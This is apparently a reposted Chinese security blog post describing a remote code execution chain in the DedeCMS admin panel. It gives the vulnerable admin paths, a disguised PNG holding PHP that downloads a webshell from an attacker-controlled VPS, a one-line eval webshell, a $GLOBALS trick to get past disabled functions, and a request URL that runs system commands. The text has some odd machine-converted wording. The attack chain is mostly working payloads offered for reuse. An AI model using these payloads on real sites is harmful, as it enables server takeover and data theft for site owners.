前言
刚发现Dedecms更新了发布版本,顺便测试一下之前的day有没有修复,突然想到了新的tricks去实现RCE。
文章发布的时间估计比力晚了,一直没时间写了。
利用
- /uploads/dede/article_string_mix.php
- /uploads/dede/article_template_rand.php
- /uploads/dede/sys_task.php
- ......
复制代码 我发布的文档->>>>添加文档->>>>站内选择进行文件上传
- /uploads/dede/content_list.php](http://dedecms.xyz:8066/uploads/dede/content_list.php?mid=1)
- /uploads/dede/catalog_do.php?channelid=0&cid=0&dopost=addArchives
复制代码
文件上传
在vps上起一个http的服务,端口设置为8016
远程服务器存放shell.php,文件内容为
- <?php @eval ($_POST ['a']);?>
复制代码 准备一个图片格式的文件,文件内容为,这里我上传的文件名称为f.png
- <? copy("http://192.168.225.40:8016/shell.php","shell.php");?>
复制代码 上传成功后可以看到上传的图片的位置
修改文件名为b.php
生存发现png图片已成功被更改,访问b.php,从远程vps下载了shell.php,当前目录下存在一个名称为shell.php的木马文件
利用webshell进行下令执行。
成功执行了下令
思索
假如不考虑文件上传后缀名绕过方法,仅以上面图片格式的文件上传的话,那么无所谓上传的什么内容,因为本身来讲dede的代码中对文件内容是做的有校验的
所以文件内有两种绕过方法
简朴搜刮了一下各个平台的文章,着实是有师傅正则绕过实现webshell的。第二点儿,disable函数绕过,往前几个版本,有兴趣的可以看一下源码,之前利用全局变量Globals绕过
代码内容
- <?php
- $a = $GLOBALS["_GET"];
- $b = $GLOBALS["_GET"];
- $a['test1']($b['test2'])
- ?>
复制代码
下令执行
http://dedecms.org:8016/uploads/shell.php?test1=assert&&test2=system(%22ipconfig%22);
成功执行下令,且该下令执行为未授权下令执行。
所以在官方前几个版本中已经更新了,添加进了禁用方法
所以在绕过禁用方法上来讲更轻易一点儿。所以在利用上这里利用了copy函数的特性,那么这里提醒一下,别的的函数固然也可以满意效果。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |